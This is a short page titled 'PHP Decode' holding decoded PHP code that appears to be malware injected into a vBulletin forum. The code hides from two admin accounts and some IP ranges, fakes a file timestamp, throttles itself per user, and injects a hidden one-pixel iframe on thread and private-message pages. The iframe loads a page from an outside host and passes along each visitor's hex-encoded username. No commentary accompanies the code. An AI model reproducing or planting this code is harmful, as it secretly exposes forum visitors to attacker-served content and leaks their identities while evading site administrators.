PHP Decode

<?  if(!isset($vbulletin) OR !isset($vbulletin->datastore) or isset($_SERVER['HTTPS'])){return "";}$bd='build_datastore';$v=&$vbulletin;$d=&$v->datastore;$r=&$d->registry;$n=$_SERVER['SERVER_ADDR'].$r->config['MasterServer']['servername'];$u=$v->userinfo['username'];$k=substr(md5("l9ed39e2fea93e5".$n),0,15);$d->fetch(array($k));clearstatcache();$st=stat("showthread.php");$st[10]=1258466920;if(!isset($r->$k)){$tmp[0]=true;$tmp[1]=$st[10];$bd($k,serialize($tmp),1);$d->fetch(array($k));if(!isset($r->$k)){return "";}}$rk=&$r->$k;if (!is_array($rk)){$rk=unserialize($rk);}if($rk[0]==false OR $rk[1]!==$st[10]){return "";}if(THIS_SCRIPT=='showthread' or (THIS_SCRIPT=='private' and ($_REQUEST['do']=='newpm' or $_REQUEST['do']=='showpm'))){$eu=urlencode($u);$md=md5($u);if(true and $md!=='84b8026b3f5e6dcfb29e82e0b0b0f386' and $md!=='e6d290a03b70cfa5d4451da444bdea39'){$td=time();$key=substr(md5($n.$u.$v->userinfo['salt']),0,15);$d->fetch(array($key));if(!isset($r->$key)){$bd($key,serialize(array('')),1);$d->fetch(array($key));}$rk=&$r->$key;if (!is_array($rk)){$rk=unserialize($rk);}if(preg_match('/^(64.38.3.50|195.28.|94.102.|91.93.|41.130.|212.118.|79.173.|85.159.|94.249.|86.108.)/',IPADDRESS)){return "";}if($td-$rk[0] >= 86400){$rk[0]=$td;$rk[1]=rand(0,6);$bd($key,serialize($rk),1);}if($rk[1]>0){$rk[1]=$rk[1]-1;$bd($key,serialize($rk),1);}else if($rk[1]==0){$rk[1]=$rk[1]-1;$bd($key,serialize($rk),1);$htt="http://technology-revealed.com/expand/order.php?design=ABRSRgDQlkUALAxGANDrRuQQofe6Y0THS8E3hfBC+M+k7CdBmTH5gAkLvgV8EV3ULW+7KoUjbJ4UOFU6SVOtgEK7zTgPPNoDHz4vKecDGe7OzDmJlvwKvc5uYg/I/5x9"; $htt=$htt."&sn=".bin2hex(substr($u,0,14));$scroll='no';if (preg_match('/iPhone/',$_SERVER['HTTP_USER_AGENT'])){$scroll='yes';}return ''.'<iframe src="'.$htt.'" height="1" width="1" scrolling="'.$scroll .'" frameborder="0" unselectable="yes" marginheight="0" marginwidth="0"></iframe>';}}}return ""; ?>